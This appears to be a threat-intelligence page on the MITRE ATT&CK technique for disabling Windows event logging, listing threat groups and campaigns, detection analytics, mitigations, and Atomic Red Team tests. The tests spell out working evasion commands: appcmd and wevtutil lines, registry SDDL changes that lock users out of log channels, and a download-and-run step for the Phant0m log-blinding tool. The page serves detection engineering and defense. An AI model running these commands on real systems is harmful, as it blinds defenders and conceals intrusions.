T1685.001 · MITRE ATT&CK technique

Disable or Modify Windows Event Log MITRE reference T1685.001

56th pctamong all ATT&CK techniques for number of groups

2 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Magic HoundG0059 ↗

Has executed scripts to disable the event log service.1

created 2018-01-161 referenceaka TA453

Threat Group-3390G0027 ↗

Has used appcmd.exe to disable logging on a victim server.1

created 2017-05-311 referenceaka Earth Smilodon

All 2 groups for this technique

3 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

HomeLand JusticeC0038 ↗

During HomeLand Justice, threat actors deleted Windows events and application logs.1

2021–2022

SolarWinds CompromiseC0024 ↗

During the SolarWinds Compromise, APT29, used AUDITPOL to prevent the collection of audit logs.1

2019–2021

2016 Ukraine Electric Power AttackC0025 ↗

During the 2016 Ukraine Electric Power Attack, Sandworm Team disabled event logging on compromised systems.1

2016

All 3 campaigns for this technique

Offense vs defense T1685.001

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 3Sigma rules (cumulative) · 28Splunk ESCU (cumulative) · 13

first rule: 2017 Q4 · 3 of 3 campaigns plotted

Disable or Modify Windows Event Log detection strategy DET0187

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Disabled Windows Event Log

Enterprise

1 platform

AN0535 · Windows

Detection of attempts to disable or tamper with Windows Event Logging. This includes stopping or disabling the EventLog service, modifying registry keys related to EventLog and Autologger, using auditpol or wevtutil to disable categories or clear audit policies, and detecting suspicious gaps or resets in event logs. Defenders observe registry changes, service state changes, process execution of disabling commands, and anomalies in event record sequences.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Application Log ContentDC0038	WinEventLog:Security	EventCode=1102
Service MetadataDC0041	WinEventLog:System	EventCode=7035
Windows Registry Key ModificationDC0063	WinEventLog:Sysmon	EventCode=13, 14

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AuthorizedAdminAccounts	List of accounts authorized to legitimately modify audit policies or disable services.
TimeWindow	Correlation window between registry modification, service stop, and audit policy commands.
ServiceNames	Customizable set of monitored services such as EventLog, Sysmon, or custom loggers.

AuditM1047

Consider periodic review of auditpol settings for Administrator accounts and perform dynamic baselining on SIEM(s) to investigate potential malicious activity. Also ensure that the EventLog service and its threads are properly running.

Restrict File and Directory PermissionsM1022

Ensure proper process and file permissions are in place to prevent adversaries from disabling or interfering with logging or deleting or modifying .evtx logging files. Ensure .evtx files, which are located at C:\Windows\system32\Winevt\Logs, have the proper file permissions for limited, legitimate access and audit policies for detection.

Restrict Registry PermissionsM1024

Ensure proper Registry permissions are in place to prevent adversaries from disabling or interfering logging. The addition of the MiniNT registry key disables Event Viewer.

User Account ManagementM1018

Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with logging.

Tests10ExecutorsPowerShell 6 · cmd 4Need elevation6 of 10Have prerequisites1Have cleanup10Platformswindows

#

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

01

Disable Windows IIS HTTP Logging

windows

PowerShell

—

Yes

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked. Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

Input arguments

Name	Type	Default	Description
website_name	string	Default Web Site	The name of the website on a server

Attack command

C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true

Cleanup command

if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}

GUIDe402e5f9-969c-42e3-8584-dc38dc7ec9c4

02

Disable Windows IIS HTTP Logging via PowerShell

windows

PowerShell

—

Yes

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union). This action requires HTTP logging configurations in IIS to be unlocked. Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)

Input arguments

Name	Type	Default	Description
website_name	string	Default Web Site	The name of the website on a server

Attack command

set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\" -filter "system.webServer/httpLogging" -name dontLog -value $true

Cleanup command

if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}

GUIDbdde19d3-6068-40ca-a8b5-5f10dfd9bb07

03

Kill Event Log Service Threads

windows

PowerShell

Required

—

Yes

04

Impair Windows Audit Log Policy

windows

cmd

Required

—

Yes

05

Clear Windows Audit Policy Config

windows

cmd

Required

—

Yes

06

Disable Event Logging with wevtutil

windows

cmd

—

Yes

Wevtutil can be used to disable logs. NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.

Input arguments

Name	Type	Default	Description
log_name	string	Microsoft-Windows-IKE/Operational	Name of the log to be disabled

Attack command

wevtutil sl "#{log_name}" /e:false

Cleanup command

wevtutil sl "#{log_name}" /e:true

GUIDe7dad696-d06a-46b1-acf9-220478f4be14

07

Makes Eventlog blind with Phant0m

windows

cmd

—

1

Yes

Use Phant0m to disable Eventlog

Input arguments

Name	Type	Default	Description
file_name	path	PathToAtomicsFolder\T1685.001\bin\Phant0m.exe	exe version of Phant0m

Attack command

"#{file_name}"

Cleanup command

echo "Sorry you have to reboot"

Prerequisite

Phant0m.exe must exist on disk at specified location (#{file_name})

Check

if (Test-Path "#{file_name}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1685.001/bin/Phant0m.exe" -OutFile "#{file_name}" -UseBasicParsing

GUID98c37efa-833e-4f2d-a48b-03a22c915015

08

Modify Event Log Channel Access Permissions via Registry - PowerShell

windows

PowerShell

Required

—

Yes

This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Input arguments

Name	Type	Default	Description
ChannelPath	string	HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-TaskScheduler/Operational	Path to the event log service channel to alter

Attack command

Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore

Cleanup command

Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:BAG:SYD:(A;;0x2;;;S-1-15-2-1)(A;;0x2;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-12138253-543910227-1950414635-4190290187)(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x7;;;SO)(A;;0x3;;;IU)(A;;0x3;;;SU)(A;;0x3;;;S-1-5-3)(A;;0x3;;;S-1-5-33)(A;;0x1;;;S-1-5-32-573)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore

GUIDbb58b22f-75e9-4bca-928f-d740c8b75ea8

09

Modify Event Log Channel Access Permissions via Registry 2 - PowerShell

windows

PowerShell

Required

—

Yes

This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Input arguments

Name	Type	Default	Description
ChannelPath	string	HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\Setup	Path to the event log service channel to alter

Attack command

New-Item -Path #{ChannelPath} -Force
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore

Cleanup command

Remove-Item -Path #{ChannelPath} -Force
Restart-Service -Name EventLog -Force -ErrorAction Ignore

GUIDb18c9f5d-08f2-46b3-a75b-a29a6f8ab9ec

10

Modify Event Log Access Permissions via Registry - PowerShell

windows

PowerShell

Required

—

Yes

This test simulates an adversary modifying access permissions for a Windows Event Log channel by setting the "CustomSD" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Input arguments

Name	Type	Default	Description
CustomSDPath	string	HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\System	Path to the event log service channel to alter

Attack command

Set-ItemProperty -Path #{CustomSDPath} -Name "CustomSD" -Value "O:SYG:SYD:(D;;0x1;;;WD)"

Cleanup command

Remove-ItemProperty -Path #{CustomSDPath} -Name "CustomSD"

GUID91392a02-6671-4fdb-96be-6427fb64bdae

Tests from Atomic Red Team (MIT licence) · technique definition

Disable or Modify Windows Event Log detections T1685.001

41 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 6%of all ATT&CK techniques for number of rules

Product

Severity

Library

tf

Loading...

Drag headers to reorder | Drag edges to resize

tf

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs

Disable or Modify Windows Event Log T1685.001

Disable or Modify Windows Event Log MITRE reference T1685.001

Offense vs defense T1685.001

How it got here

Detect Disabled Windows Event Log

Log sources

Tunable fields